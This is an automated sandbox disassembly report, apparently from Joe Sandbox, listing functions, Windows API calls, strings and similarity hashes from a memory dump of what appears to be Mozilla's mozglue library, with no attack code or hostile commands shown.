String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C4FD82C
<jemalloc>, xrefs: 6C4FD827

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

### ERROR: %s: %s, xrefs: 6C537087
(null), xrefs: 6C53706A, 6C537083

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

(root), xrefs: 6C52354F
expected a Time entry, xrefs: 6C522E36
ProfileBuffer parse error: %s, xrefs: 6C522E3B

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

NaN, xrefs: 6C539EAB
-Infinity, xrefs: 6C539E60, 6C539E7B

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C4DDC08
0, xrefs: 6C4DDC7F
1, xrefs: 6C4DDBDD
9, xrefs: 6C4DDE7F
-, xrefs: 6C4DD7DD
@, xrefs: 6C4DDAF6
, xrefs: 6C4DDA88
0, xrefs: 6C4DD852

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C54921F, 6C545740, 6C549459, 6C545703, 6C5456C7, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C54921F, 6C545740, 6C549459, 6C545703, 6C5456C7, 6C549269, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C4EA5D6
@, xrefs: 6C4EA625
1, xrefs: 6C4EA824
0, xrefs: 6C4EA100
0, xrefs: 6C4EAB22
' , xrefs: 6C4EA3D8

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB
MOZ_CRASH(), xrefs: 6C4F97EA

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
